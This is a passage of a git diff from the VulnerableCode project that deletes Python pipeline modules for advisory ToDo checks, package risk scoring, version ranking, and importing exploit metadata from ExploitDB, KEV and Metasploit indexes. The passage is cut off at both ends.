as 'git', 'hg', etc.) - - Return None if repo_url is not recognized as a VCS URL. - - Handles shortcuts for GitHub, GitHub gist, Bitbucket, or GitLab repositories - and more using the same approach as npm install: - - See https://docs.npmjs.com/files/package.json#repository - or https://getcomposer.org/doc/05-repositories.md - - This is done here in npm: - https://github.com/npm/npm/blob/d3c858ce4cfb3aee515bb299eb034fe1b5e44344/node_modules/hosted-git-info/git-host-info.js - - These should be resolved: - npm/npm - gist:11081aaa281 - bitbucket:example/repo - gitlab:another/repo - expressjs/serve-static - git://github.com/angular/di.js.git - git://github.com/hapijs/boom - git@github.com:balderdashy/waterline-criteria.git - http://github.com/ariya/esprima.git - http://github.com/isaacs/nopt - https://github.com/chaijs/chai - https://github.com/christkv/kerberos.git - https://gitlab.com/foo/private.git - git@gitlab.com:foo/private.git - """ - if not repo_url or not isinstance(repo_url, str): - return - - repo_url = repo_url.strip() - if not repo_url: - return - - # TODO: If we match http and https, we may should add more check in - # case if the url is not a repo one. For example, check the domain - # name in the url... - if repo_url.startswith(VCS_URLS + PLAIN_URLS): - return repo_url - - if repo_url.startswith("git@"): - tool, _, right = repo_url.partition("@") - if ":" in repo_url: - host, _, repo = right.partition(":") - else: - # git@github.com/Filirom1/npm2aur.git - host, _, repo = right.partition("/") - - if any(r in host for r in ("bitbucket", "gitlab", "github")): - scheme = "https" - else: - scheme = "git" - - return f"{scheme}://{host}/{repo}" - - # FIXME: where these URL schemes come from?? - if repo_url.startswith(("bitbucket:", "gitlab:", "github:", "gist:")): - repo = repo_url.split(":")[1] - hoster_urls = { - "bitbucket": f"https://bitbucket.org/{repo}", - "github": f"https://github.com/{repo}", - "gitlab": f"https://gitlab.com/{repo}", - "gist": f"https://gist.github.com/{repo}", - } - hoster, _, repo = repo_url.partition(":") - return hoster_urls[hoster] % locals() - - if len(repo_url.split("/")) == 2: - # implicit github, but that's only on NPM? - return f"https://github.com/{repo_url}" - return repo_url - - -def is_vcs_url(repo_url): - """ - Check if a given URL or string matches a valid VCS (Version Control System) URL. - - Supports: - - Standard VCS URL protocols (git, http, https, ssh) - - Shortcut syntax (e.g., github:user/repo, gitlab:group/repo) - - GitHub shortcut (e.g., user/repo) - - Args: - repo_url (str): The repository URL or shortcut to validate. - - Returns: - bool: True if the string is a valid VCS URL, False otherwise. - - Examples: - >>> is_vcs_url("git://github.com/angular/di.js.git") - True - >>> is_vcs_url("github:user/repo") - True - >>> is_vcs_url("user/repo") - True - >>> is_vcs_url("https://github.com/user/repo.git") - True - >>> is_vcs_url("git@github.com:user/repo.git") - True - >>> is_vcs_url("http://github.com/isaacs/nopt") - True - >>> is_vcs_url("https://gitlab.com/foo/private.git") - True - >>> is_vcs_url("git@gitlab.com:foo/private.git") - True - >>> is_vcs_url("bitbucket:example/repo") - True - >>> is_vcs_url("gist:11081aaa281") - True - >>> is_vcs_url("ftp://example.com/not-a-repo") - False - >>> is_vcs_url("random-string") - False - >>> is_vcs_url("https://example.com/not-a-repo") - False - """ - if not repo_url or not isinstance(repo_url, str): - return False - - repo_url = repo_url.strip() - if not repo_url: - return False - - # Define valid VCS domains - vcs_domains = r"(github\.com|gitlab\.com|bitbucket\.org|gist\.github\.com)" - - # 1. Match URLs with standard protocols pointing to VCS domains - if re.match(rf"^(git|ssh|http|https)://{vcs_domains}/[\w\-.]+/[\w\-.]+", repo_url): - return True - - # 2. Match SSH URLs (e.g., git@github.com:user/repo.git) - if re.match(rf"^git@{vcs_domains}:[\w\-.]+/[\w\-.]+(\.git)?$", repo_url): - return True - - # 3. Match shortcut syntax (e.g., github:user/repo) - if re.match(r"^(github|gitlab|bitbucket|gist):[\w\-./]+$", repo_url): - return True - - # 4. Match implicit GitHub shortcut (e.g., user/repo) - if re.match(r"^[\w\-]+/[\w\-]+$", repo_url): - return True - - return False diff --git a/vulnerabilities/pipelines/compute_advisory_todo.py b/vulnerabilities/pipelines/compute_advisory_todo.py deleted file mode 100644 index 8c4d1253d..000000000 --- a/vulnerabilities/pipelines/compute_advisory_todo.py +++ /dev/null @@ -1,348 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import json - -from aboutcode.pipeline import LoopProgress -from django.utils import timezone - -from vulnerabilities.models import Advisory -from vulnerabilities.models import AdvisoryToDo -from vulnerabilities.models import Alias -from vulnerabilities.models import ToDoRelatedAdvisory -from vulnerabilities.pipelines import VulnerableCodePipeline -from vulnerabilities.pipes.advisory import advisories_checksum - - -class ComputeToDo(VulnerableCodePipeline): - """Compute ToDos for Advisory.""" - - pipeline_id = "compute_advisory_todo" - - @classmethod - def steps(cls): - return ( - cls.compute_individual_advisory_todo, - cls.detect_conflicting_advisories, - ) - - def compute_individual_advisory_todo(self): - """Create ToDos for missing summary, affected and fixed packages.""" - - advisories = Advisory.objects.all() - advisories_count = advisories.count() - advisory_relation_to_create = {} - todo_to_create = [] - new_todos_count = 0 - batch_size = 5000 - - self.log( - f"Checking missing summary, affected and fixed packages in {advisories_count} Advisories" - ) - progress = LoopProgress( - total_iterations=advisories_count, - logger=self.log, - progress_step=1, - ) - for advisory in progress.iter(advisories.iterator(chunk_size=5000)): - advisory_todo_id = advisories_checksum(advisories=advisory) - check_missing_summary( - advisory=advisory, - todo_id=advisory_todo_id, - todo_to_create=todo_to_create, - advisory_relation_to_create=advisory_relation_to_create, - ) - - check_missing_affected_and_fixed_by_packages( - advisory=advisory, - todo_id=advisory_todo_id, - todo_to_create=todo_to_create, - advisory_relation_to_create=advisory_relation_to_create, - ) - - if len(todo_to_create) > batch_size: - new_todos_count += bulk_create_with_m2m( - todos=todo_to_create, - advisories=advisory_relation_to_create, - logger=self.log, - ) - advisory_relation_to_create.clear() - todo_to_create.clear() - - new_todos_count += bulk_create_with_m2m( - todos=todo_to_create, - advisories=advisory_relation_to_create, - logger=self.log, - ) - - self.log( - f"Successfully created {new_todos_count} ToDos for missing summary, affected and fixed packages" - ) - - def detect_conflicting_advisories(self): - """ - Create ToDos for advisories with conflicting opinions on fixed and affected - package versions for a vulnerability. - """ - aliases = Alias.objects.filter(alias__istartswith="cve") - aliases_count = aliases.count() - advisory_relation_to_create = {} - todo_to_create = [] - new_todos_count = 0 - batch_size = 5000 - - self.log(f"Cross validating advisory affected and fixed package for {aliases_count} CVEs") - - progress = LoopProgress( - total_iterations=aliases_count, - logger=self.log, - progress_step=1, - ) - for alias in progress.iter(aliases.iterator(chunk_size=2000)): - advisories = alias.advisories.exclude( - advisory_todos__issue_type="MISSING_AFFECTED_AND_FIXED_BY_PACKAGES" - ).distinct() - - check_conflicting_affected_and_fixed_by_packages_for_alias( - advisories=advisories, - cve=alias, - todo_to_create=todo_to_create, - advisory_relation_to_create=advisory_relation_to_create, - ) - - if len(todo_to_create) > batch_size: - new_todos_count += bulk_create_with_m2m( - todos=todo_to_create, - advisories=advisory_relation_to_create, - logger=self.log, - ) - advisory_relation_to_create.clear() - todo_to_create.clear() - - new_todos_count += bulk_create_with_m2m( - todos=todo_to_create, - advisories=advisory_relation_to_create, - logger=self.log, - ) - - self.log( - f"Successfully created {new_todos_count} ToDos for conflicting affected and fixed packages" - ) - - -def check_missing_summary( - advisory, - todo_id, - todo_to_create, - advisory_relation_to_create, -): - if not advisory.summary: - todo = AdvisoryToDo( - related_advisories_id=todo_id, - issue_type="MISSING_SUMMARY", - ) - advisory_relation_to_create[todo_id] = [advisory] - todo_to_create.append(todo) - - -def check_missing_affected_and_fixed_by_packages( - advisory, - todo_id, - todo_to_create, - advisory_relation_to_create, -): - """ - Check for missing affected or fixed-by packages in the advisory - and create appropriate AdvisoryToDo. - - - If both affected and fixed packages are missing add `MISSING_AFFECTED_AND_FIXED_BY_PACKAGES`. - - If only the affected package is missing add `MISSING_AFFECTED_PACKAGE`. - - If only the fixed package is missing add `MISSING_FIXED_BY_PACKAGE`. - """ - has_affected_package = False - has_fixed_package = False - for affected in advisory.affected_packages or []: - if not affected: - continue - - if has_affected_package and has_fixed_package: - break - if not has_affected_package and affected["affected_version_range"]: - has_affected_package = True - if not has_fixed_package and affected["fixed_version"]: - has_fixed_package = True - - if has_affected_package and has_fixed_package: - return - - if not has_affected_package and not has_fixed_package: - issue_type = "MISSING_AFFECTED_AND_FIXED_BY_PACKAGES" - elif not has_affected_package: - issue_type = "MISSING_AFFECTED_PACKAGE" - elif not has_fixed_package: - issue_type = "MISSING_FIXED_BY_PACKAGE" - - todo = AdvisoryToDo( - related_advisories_id=todo_id, - issue_type=issue_type, - ) - todo_to_create.append(todo) - advisory_relation_to_create[todo_id] = [advisory] - - -def check_conflicting_affected_and_fixed_by_packages_for_alias( - advisories, - cve, - todo_to_create, - advisory_relation_to_create, -): - """ - Add appropriate AdvisoryToDo for conflicting affected/fixed packages. - - Compute the comparison matrix for the given set of advisories. Iterate through each advisory - and compute and store fixed versions and affected versionrange for each advisory, - keyed by purl. - - Use the matrix to determine conflicts in affected/fixed versions for each purl. If for any purl - there is more than one set of fixed versions or more than one set of affected versions, - it means the advisories have conflicting opinions on the fixed or affected packages. - - Example of comparison matrix: - { - "pkg:npm/foo/bar": { - "affected": { - Advisory1: frozenset(VersionRange1, VersionRange2), - Advisory2: frozenset(...), - }, - "fixed": { - Advisory1: frozenset(Version1, Version2), - Advisory2: frozenset(...), - }, - }, - "pkg:pypi/foobar": { - "affected": { - Advisory1: frozenset(...), - Advisory2: frozenset(...), - }, - "fixed": { - Advisory1: frozenset(...), - Advisory2: frozenset(...), - }, - }, - ... - } - """ - matrix = {} - for advisory in advisories: - advisory_obj = advisory.to_advisory_data() - advisory_id = advisory.unique_content_id - for affected in advisory_obj.affected_packages or []: - if not affected: - continue - affected_purl = str(affected.package) - - initialize_sub_matrix( - matrix=matrix, - affected_purl=affected_purl, - advisory=advisory, - ) - - if fixed_version := affected.fixed_version: - matrix[affected_purl]["fixed"][advisory_id].add(str(fixed_version)) - - if affected.affected_version_range: - matrix[affected_purl]["affected"][advisory_id].add( - str(affected.affected_version_range) - ) - - has_conflicting_affected_packages = False - has_conflicting_fixed_package = False - messages = [] - for purl, board in matrix.items(): - fixed = board.get("fixed", {}).values() - affected = board.get("affected", {}).values() - - unique_set_of_affected_vers = {frozenset(vers) for vers in affected} - unique_set_of_fixed_versions = {frozenset(versions) for versions in fixed} - - if len(unique_set_of_affected_vers) > 1: - has_conflicting_affected_packages = True - messages.append( - f"{cve}: {purl} with conflicting affected versions {unique_set_of_affected_vers}" - ) - if len(unique_set_of_fixed_versions) > 1: - has_conflicting_fixed_package = True - messages.append( - f"{cve}: {purl} with conflicting fixed version {unique_set_of_fixed_versions}" - ) - - if not has_conflicting_affected_packages and not has_conflicting_fixed_package: - return - - issue_type = "CONFLICTING_AFFECTED_AND_FIXED_BY_PACKAGES" - if not has_conflicting_fixed_package: - issue_type = "CONFLICTING_AFFECTED_PACKAGES" - elif not has_conflicting_affected_packages: - issue_type = "CONFLICTING_FIXED_BY_PACKAGES" - - issue_detail = { - "Conflict summary": messages, - "Conflict matrix": matrix, - } - - todo_id = advisories_checksum(advisories) - todo = AdvisoryToDo( - related_advisories_id=todo_id, - issue_type=issue_type, - issue_detail=json.dumps(issue_detail, default=list), - ) - todo_to_create.append(todo) - advisory_relation_to_create[todo_id] = list(advisories) - - -def initialize_sub_matrix(matrix, affected_purl, advisory): - advisory_id = advisory.unique_content_id - if affected_purl not in matrix: - matrix[affected_purl] = { - "affected": {advisory_id: set()}, - "fixed": {advisory_id: set()}, - } - else: - if advisory not in matrix[affected_purl]["affected"]: - matrix[affected_purl]["affected"][advisory_id] = set() - if advisory not in matrix[affected_purl]["fixed"]: - matrix[affected_purl]["fixed"][advisory_id] = set() - - -def bulk_create_with_m2m(todos, advisories, logger): - """Bulk create ToDos and also bulk create M2M ToDo Advisory relationships.""" - if not todos: - return 0 - - start_time = timezone.now() - try: - AdvisoryToDo.objects.bulk_create(objs=todos, ignore_conflicts=True) - except Exception as e: - logger(f"Error creating AdvisoryToDo: {e}") - - new_todos = AdvisoryToDo.objects.filter(created_at__gte=start_time) - - relations = [ - ToDoRelatedAdvisory(todo=todo, advisory=advisory) - for todo in new_todos - for advisory in advisories[todo.related_advisories_id] - ] - - try: - ToDoRelatedAdvisory.objects.bulk_create(relations) - except Exception as e: - logger(f"Error creating Advisory ToDo relations: {e}") - - return new_todos.count() diff --git a/vulnerabilities/pipelines/compute_package_risk.py b/vulnerabilities/pipelines/compute_package_risk.py deleted file mode 100644 index 09fde0ce4..000000000 --- a/vulnerabilities/pipelines/compute_package_risk.py +++ /dev/null @@ -1,145 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -from aboutcode.pipeline import LoopProgress -from django.db.models import Prefetch - -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.pipelines import VulnerableCodePipeline -from vulnerabilities.risk import compute_package_risk -from vulnerabilities.risk import compute_vulnerability_risk_factors - - -class ComputePackageRiskPipeline(VulnerableCodePipeline): - """Compute risk score for packages.""" - - # See https://github.com/aboutcode-org/vulnerablecode/issues/1543 - - pipeline_id = "compute_package_risk" - license_expression = None - - @classmethod - def steps(cls): - return ( - cls.compute_and_store_vulnerability_risk_score, - cls.compute_and_store_package_risk_score, - ) - - def compute_and_store_vulnerability_risk_score(self): - affected_vulnerabilities = ( - Vulnerability.objects.filter(affecting_packages__isnull=False) - .prefetch_related( - "references", - "severities", - "exploits", - ) - .distinct() - ) - - self.log( - f"Calculating risk for {affected_vulnerabilities.count():,d} vulnerability with a affected packages records" - ) - - progress = LoopProgress(total_iterations=affected_vulnerabilities.count(), logger=self.log) - - updatables = [] - updated_vulnerability_count = 0 - batch_size = 5000 - - for vulnerability in progress.iter(affected_vulnerabilities.paginated(per_page=batch_size)): - severities = vulnerability.severities.all() - references = vulnerability.references.all() - exploits = vulnerability.exploits.all() - - weighted_severity, exploitability = compute_vulnerability_risk_factors( - references=references, - severities=severities, - exploits=exploits, - ) - vulnerability.weighted_severity = weighted_severity - vulnerability.exploitability = exploitability - - updatables.append(vulnerability) - - if len(updatables) >= batch_size: - updated_vulnerability_count += bulk_update( - model=Vulnerability, - items=updatables, - fields=["weighted_severity", "exploitability"], - logger=self.log, - ) - - updated_vulnerability_count += bulk_update( - model=Vulnerability, - items=updatables, - fields=["weighted_severity", "exploitability"], - logger=self.log, - ) - - self.log( - f"Successfully added risk score for {updated_vulnerability_count:,d} vulnerability" - ) - - def compute_and_store_package_risk_score(self): - affected_packages = ( - Package.objects.filter(affected_by_vulnerabilities__isnull=False).prefetch_related( - Prefetch( - "affectedbypackagerelatedvulnerability_set__vulnerability", - queryset=Vulnerability.objects.only("weighted_severity", "exploitability"), - ), - ) - ).distinct() - - self.log(f"Calculating risk for {affected_packages.count():,d} affected package records") - - progress = LoopProgress( - total_iterations=affected_packages.count(), - logger=self.log, - progress_step=5, - ) - - updatables = [] - updated_package_count = 0 - batch_size = 10000 - - for package in progress.iter(affected_packages.paginated(per_page=batch_size)): - risk_score = compute_package_risk(package) - - if not risk_score: - continue - - package.risk_score = risk_score - updatables.append(package) - - if len(updatables) >= batch_size: - updated_package_count += bulk_update( - model=Package, - items=updatables, - fields=["risk_score"], - logger=self.log, - ) - updated_package_count += bulk_update( - model=Package, - items=updatables, - fields=["risk_score"], - logger=self.log, - ) - self.log(f"Successfully added risk score for {updated_package_count:,d} package") - - -def bulk_update(model, items, fields, logger): - item_count = 0 - if items: - try: - model.objects.bulk_update(objs=items, fields=fields) - item_count += len(items) - except Exception as e: - logger(f"Error updating {model.__name__}: {e}") - items.clear() - return item_count diff --git a/vulnerabilities/pipelines/compute_package_version_rank.py b/vulnerabilities/pipelines/compute_package_version_rank.py deleted file mode 100644 index 73d4aa60a..000000000 --- a/vulnerabilities/pipelines/compute_package_version_rank.py +++ /dev/null @@ -1,93 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from itertools import groupby - -from aboutcode.pipeline import LoopProgress -from django.db import transaction -from univers.version_range import RANGE_CLASS_BY_SCHEMES -from univers.versions import Version - -from vulnerabilities.models import Package -from vulnerabilities.pipelines import VulnerableCodePipeline - - -class ComputeVersionRankPipeline(VulnerableCodePipeline): - """ - A pipeline to compute and assign version ranks for all packages. - """ - - pipeline_id = "compute_version_rank" - license_expression = None - - @classmethod - def steps(cls): - return (cls.compute_and_store_version_rank,) - - def compute_and_store_version_rank(self): - """ - Compute and assign version ranks to all packages. - """ - groups = Package.objects.only("type", "namespace", "name").order_by( - "type", "namespace", "name" - ) - - def key(package): - return package.type, package.namespace, package.name - - groups = groupby(groups, key=key) - - groups = [(list(x), list(y)) for x, y in groups] - - total_groups = len(groups) - self.log(f"Calculating `version_rank` for {total_groups:,d} groups of packages.") - - progress = LoopProgress( - total_iterations=total_groups, - logger=self.log, - progress_step=5, - ) - - for group, packages in progress.iter(groups): - type, namespace, name = group - if type not in RANGE_CLASS_BY_SCHEMES: - continue - self.update_version_rank_for_group(packages) - - self.log("Successfully populated `version_rank` for all packages.") - - @transaction.atomic - def update_version_rank_for_group(self, packages): - """ - Update the `version_rank` for all packages in a specific group. - """ - - # Sort the packages by version - sorted_packages = self.sort_packages_by_version(packages) - - # Assign version ranks - updates = [] - for rank, package in enumerate(sorted_packages, start=1): - package.version_rank = rank - updates.append(package) - - # Bulk update to save the ranks - Package.objects.bulk_update(updates, fields=["version_rank"]) - - def sort_packages_by_version(self, packages): - """ - Sort packages by version using `version_class`. - """ - - if not packages: - return [] - version_class = RANGE_CLASS_BY_SCHEMES.get(packages[0].type).version_class - if not version_class: - version_class = Version - return sorted(packages, key=lambda p: version_class(p.version)) diff --git a/vulnerabilities/pipelines/enhance_with_exploitdb.py b/vulnerabilities/pipelines/enhance_with_exploitdb.py deleted file mode 100644 index 70f7b4886..000000000 --- a/vulnerabilities/pipelines/enhance_with_exploitdb.py +++ /dev/null @@ -1,164 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import csv -import io -import logging -from traceback import format_exc as traceback_format_exc - -import requests -from aboutcode.pipeline import LoopProgress -from dateutil import parser as dateparser -from django.db import DataError - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.pipelines import VulnerableCodePipeline - - -class ExploitDBImproverPipeline(VulnerableCodePipeline): - """ - Fetch ExploitDB data, iterate over it to find the vulnerability with - the specified alias, and create or update the ref and ref-type accordingly. - """ - - pipeline_id = "enhance_with_exploitdb" - spdx_license_expression = "GPL-2.0" - - @classmethod - def steps(cls): - return ( - cls.fetch_exploits, - cls.add_exploit, - ) - - def fetch_exploits(self): - exploit_db_url = ( - "https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv" - ) - self.log(f"Fetching {exploit_db_url}") - - try: - response = requests.get(exploit_db_url) - response.raise_for_status() - except requests.exceptions.HTTPError as http_err: - self.log( - f"Failed to fetch the Exploit-DB Exploits: {exploit_db_url} with error {http_err!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - raise - - self.exploit_data = io.StringIO(response.text) - - def add_exploit(self): - - csvreader = csv.DictReader(self.exploit_data) - - raw_data = list(csvreader) - fetched_exploit_count = len(raw_data) - - vulnerability_exploit_count = 0 - self.log(f"Enhancing the vulnerability with {fetched_exploit_count:,d} exploit records") - progress = LoopProgress(total_iterations=fetched_exploit_count, logger=self.log) - - for row in progress.iter(raw_data): - vulnerability_exploit_count += add_vulnerability_exploit(row, self.log) - - self.log( - f"Successfully added {vulnerability_exploit_count:,d} exploit-db vulnerability exploit" - ) - - -def add_vulnerability_exploit(row, logger): - aliases = row["codes"].split(";") if row["codes"] else [] - - if not aliases: - return 0 - - vulnerabilities = ( - Alias.objects.filter(alias__in=aliases, vulnerability__isnull=False) - .values_list("vulnerability_id", flat=True) - .distinct() - ) - - if not vulnerabilities: - logger(f"No vulnerability found for aliases {aliases}") - return 0 - - date_added = parse_date(row["date_added"]) - source_date_published = parse_date(row["date_published"]) - source_date_updated = parse_date(row["date_updated"]) - - for vulnerability in vulnerabilities: - add_exploit_references(row["codes"], row["source_url"], row["file"], vulnerability, logger) - try: - Exploit.objects.update_or_create( - vulnerability_id=vulnerability, - data_source="Exploit-DB", - defaults={ - "date_added": date_added, - "description": row["description"], - "known_ransomware_campaign_use": row["verified"], - "source_date_published": source_date_published, - "exploit_type": row["type"], - "platform": row["platform"], - "source_date_updated": source_date_updated, - "source_url": row["source_url"], - }, - ) - except DataError as e: - logger( - f"Failed to Create the Vulnerability Exploit-DB with error {e!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - return 1 - - -def add_exploit_references(ref_id, direct_url, path, vul_id, logger): - url_map = { - "file_url": f"https://gitlab.com/exploit-database/exploitdb/-/blob/main/{path}", - "direct_url": direct_url, - } - - for key, url in url_map.items(): - if url: - try: - ref, created = VulnerabilityReference.objects.update_or_create( - url=url, - defaults={ - "reference_id": ref_id, - "reference_type": VulnerabilityReference.EXPLOIT, - }, - ) - - if created: - VulnerabilityRelatedReference.objects.get_or_create( - vulnerability_id=vul_id, - reference=ref, - ) - - except DataError as e: - logger( - f"Failed to Create the Vulnerability Reference For Exploit-DB with error {e!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - - -def parse_date(date_string): - if date_string: - try: - date_obj = dateparser.parse(date_string).date() - return date_obj.strftime("%Y-%m-%d") - except (ValueError, TypeError, Exception) as e: - logging.error( - f"Error while parsing ExploitDB date '{date_string}' with error {e!r}:\n{traceback_format_exc()}" - ) - return diff --git a/vulnerabilities/pipelines/enhance_with_kev.py b/vulnerabilities/pipelines/enhance_with_kev.py deleted file mode 100644 index c2b821f58..000000000 --- a/vulnerabilities/pipelines/enhance_with_kev.py +++ /dev/null @@ -1,99 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from traceback import format_exc as traceback_format_exc - -import requests -from aboutcode.pipeline import LoopProgress - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.pipelines import VulnerableCodePipeline - - -class VulnerabilityKevPipeline(VulnerableCodePipeline): - """ - Retrieve KEV data, iterate through it to identify vulnerabilities - by their associated aliases, and create or update the corresponding Exploit instances. - """ - - pipeline_id = "enhance_with_kev" - license_expression = None - - @classmethod - def steps(cls): - return ( - cls.fetch_exploits, - cls.add_exploits, - ) - - def fetch_exploits(self): - kev_url = "https://raw.githubusercontent.com/aboutcode-org/aboutcode-mirror-kev/refs/heads/main/known_exploited_vulnerabilities.json" - self.log(f"Fetching {kev_url}") - - try: - response = requests.get(kev_url) - response.raise_for_status() - except requests.exceptions.HTTPError as http_err: - self.log( - f"Failed to fetch the KEV Exploits: {kev_url} with error {http_err!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - raise - self.kev_data = response.json() - - def add_exploits(self): - fetched_exploit_count = self.kev_data.get("count") - self.log(f"Enhancing the vulnerability with {fetched_exploit_count:,d} exploit records") - - vulnerability_exploit_count = 0 - progress = LoopProgress(total_iterations=fetched_exploit_count, logger=self.log) - - for record in progress.iter(self.kev_data.get("vulnerabilities", [])): - vulnerability_exploit_count += add_vulnerability_exploit( - kev_vul=record, - logger=self.log, - ) - - self.log(f"Successfully added {vulnerability_exploit_count:,d} kev exploit") - - -def add_vulnerability_exploit(kev_vul, logger): - cve_id = kev_vul.get("cveID") - - if not cve_id: - return 0 - - vulnerabilities = ( - Alias.objects.filter(alias=cve_id, vulnerability__isnull=False) - .values_list("vulnerability", flat=True) - .distinct() - ) - - if not vulnerabilities: - logger(f"No vulnerability found for aliases {cve_id}") - return 0 - - for vulnerability in vulnerabilities: - Exploit.objects.update_or_create( - vulnerability_id=vulnerability, - data_source="KEV", - defaults={ - "description": kev_vul["shortDescription"], - "date_added": kev_vul["dateAdded"], - "required_action": kev_vul["requiredAction"], - "due_date": kev_vul["dueDate"], - "notes": kev_vul["notes"], - "known_ransomware_campaign_use": ( - True if kev_vul["knownRansomwareCampaignUse"] == "Known" else False - ), - }, - ) - return 1 diff --git a/vulnerabilities/pipelines/enhance_with_metasploit.py b/vulnerabilities/pipelines/enhance_with_metasploit.py deleted file mode 100644 index 7e28160f9..000000000 --- a/vulnerabilities/pipelines/enhance_with_metasploit.py +++ /dev/null @@ -1,118 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from traceback import format_exc as traceback_format_exc - -import requests -import saneyaml -from aboutcode.pipeline import LoopProgress -from dateutil import parser as dateparser - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.pipelines import VulnerableCodePipeline - - -class MetasploitImproverPipeline(VulnerableCodePipeline): - """ - Retrieve Metasploit data, iterate through it to identify vulnerabilities - by their associated aliases, and create or update the corresponding Exploit instances. - """ - - pipeline_id = "enhance_with_metasploit" - spdx_license_expression = "BSD-3-clause" - - @classmethod - def steps(cls): - return ( - cls.fetch_exploits, - cls.add_vulnerability_exploits, - ) - - def fetch_exploits(self): - url = "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/db/modules_metadata_base.json" - self.log(f"Fetching {url}") - try: - response = requests.get(url) - response.raise_for_status() - except requests.exceptions.HTTPError as http_err: - self.log( - f"Failed to fetch the Metasploit Exploits: {url} with error {http_err!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - raise - - self.metasploit_data = response.json() - - def add_vulnerability_exploits(self): - fetched_exploit_count = len(self.metasploit_data) - self.log(f"Enhancing the vulnerability with {fetched_exploit_count:,d} exploit records") - - vulnerability_exploit_count = 0 - progress = LoopProgress(total_iterations=fetched_exploit_count, logger=self.log) - for _, record in progress.iter(self.metasploit_data.items()): - vulnerability_exploit_count += add_vulnerability_exploit( - record=record, - logger=self.log, - ) - self.log(f"Successfully added {vulnerability_exploit_count:,d} vulnerability exploit") - - -def add_vulnerability_exploit(record, logger): - references = record.get("references", []) - - interesting_references = [ - ref for ref in references if not ref.startswith("OSVDB") and not ref.startswith("URL-") - ] - - if not interesting_references: - return 0 - - vulnerabilities = ( - Alias.objects.filter(alias__in=interesting_references, vulnerability__isnull=False) - .values_list("vulnerability", flat=True) - .distinct() - ) - - if not vulnerabilities: - logger(f"No vulnerability found for aliases {interesting_references}") - return 0 - - description = record.get("description", "") - notes = record.get("notes", {}) - platform = record.get("platform") - - source_url = "" - if path := record.get("path"): - source_url = f"https://github.com/rapid7/metasploit-framework/tree/master{path}" - source_date_published = None - - if disclosure_date := record.get("disclosure_date"): - try: - source_date_published = dateparser.parse(disclosure_date).date() - except ValueError as e: - logger( - f"Error while parsing date {disclosure_date} with error {e!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - - for vulnerability in vulnerabilities: - Exploit.objects.update_or_create( - vulnerability_id=vulnerability, - data_source="Metasploit", - defaults={ - "description": description, - "notes": saneyaml.dump(notes), - "source_date_published": source_date_published, - "platform": platform, - "source_url": source_url, - }, - ) - return 1 diff --git a/vulnerabilities/pipelines/flag_ghost_packages.py b/vulnerabilities/pipelines/flag_ghost_packages.py deleted file mode 100644 index da540cd04..000000000 --- a/vulnerabilities/pipelines/flag_ghost_packages.py +++ /dev/null @@ -1,90 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from itertools import groupby - -from aboutcode.pipeline import LoopProgress -from fetchcode.package_versions import SUPPORTED_ECOSYSTEMS as FETCHCODE_SUPPORTED_ECOSYSTEMS -from packageurl import PackageURL - -from vulnerabilities.models import Package -from vulnerabilities.pipelines import VulnerableCodePipeline -from vulnerabilities.pipes.fetchcode_utils import get_versions - - -class FlagGhostPackagePipeline(VulnerableCodePipeline): - """Detect and flag packages that do not exist upstream.""" - - pipeline_id = "flag_ghost_packages" - - @classmethod - def steps(cls): - return (cls.flag_ghost_packages,) - - def flag_ghost_packages(self): - detect_and_flag_ghost_packages(logger=self.log) - - -def detect_and_flag_ghost_packages(logger=None): - """Check if packages are available upstream. If not, mark them as 